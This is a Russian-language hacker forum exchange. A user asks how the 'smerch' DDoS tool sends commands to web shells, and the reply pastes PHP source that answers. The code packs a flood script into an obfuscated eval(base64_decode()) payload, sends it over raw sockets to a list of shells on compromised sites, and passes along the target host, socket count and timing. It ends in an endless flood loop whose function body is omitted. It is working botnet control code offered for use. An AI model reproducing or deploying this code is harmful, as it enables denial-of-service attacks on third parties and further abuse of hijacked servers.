Помогите пожалуйсто мне, подскажите как отправляет smerch (тот что для DDoS) команды (содержимое модулей ддоса) на шеллы ?
Буду благодарен, обьязательно дам плюсик
Буду благодарен, обьязательно дам плюсик
там все просто, добавляете шеллы remview вида:
http://site.com/images/shell.php?php={death_code}&c=t
$server_file = "./servers.dat";
$death_code = file_get_contents("./dos_script_noproxy.php");
$db = @unserialize(file_get_contents($server_file));
elseif ($F['doattack'] || $F['docheck']) # - команда на атаку.
# - Пакуем код...
$death_code = preg_replace("/\<"."\?(.+)\?"."\>/is", "\\1", $death_code); // нах не нужны php iden
$death_code = preg_replace("/\#([^\n\r]+)/is", "", $death_code);// - комменты нахуй.
$death_code = str_replace(array("\n", "\r", "\t", " "), "", $death_code); // тоже нах.
$death_code = preg_replace("/\;\s+/is", ";", $death_code);
$death_code = urlencode("eval(base64_decode('".base64_encode($death_code)."'));");
foreach ($db as $key=>$row)
{
$url = $row['url'];
$url = str_replace("{death_code}", $death_code ,$url);
$url = str_replace("{death_url}", $death_url ,$url);
$url.= "&_DDOZU_=$F[dohost]&_DDOZC_=$F[socount]&_DDOZS_=$F[sleep]&_DDOZT_=$F[time]";
http://www.example.com/shell.php?php={death_code}
$url_a = parse_url($url);
if (!$socket = fsockopen($url_a['host'], 80,$s,$s,5)){ $db[$key]['state'] = "<FONT color=red>Can't connect!</FONT>"; continue;}
if (!$row['senttype'])
{
fputs($socket, "POST http://$url_a[host]$url_a[path] HTTP/1.1\r\n");
fputs($socket, "Content-Type: application/x-www-form-urlencoded \r\n");
fputs($socket, "Host: $url_a[host]\r\n");
fputs($socket, "Content-length: ".strlen($url_a['query'])."\r\n");
fputs($socket, "Connection: close\r\n");
fputs($socket, "\r\n");
fputs($socket, "$url_a[query]");
}else
{
fputs($socket, "GET http://$url_a[host]$url_a[path]?$url_a[query] HTTP/1.1\r\n");
fputs($socket, "Content-Type: application/x-www-form-urlencoded \r\n");
fputs($socket, "Host: $url_a[host]\r\n");
fputs($socket, "Connection: close\r\n\r\n");
}
$F = $_GET + $_POST;
$a = array('url'=>$F['_DDOZU_'],'count'=>$F['_DDOZC_'],'time'=>$F['_DDOZT_'],'sleep'=>$F['_DDOZS_'],'debug'=>$F['debug']);
while(true){ simple_flood($a['url'], $a['count'], $a['sleep'], $a['debug']); sleep(1);if(($diet)&&(time()>$diet)) exit;}
function simple_flood($url, $so_count,$sleep,$debug = 0)
{
... // (текст функции опущен)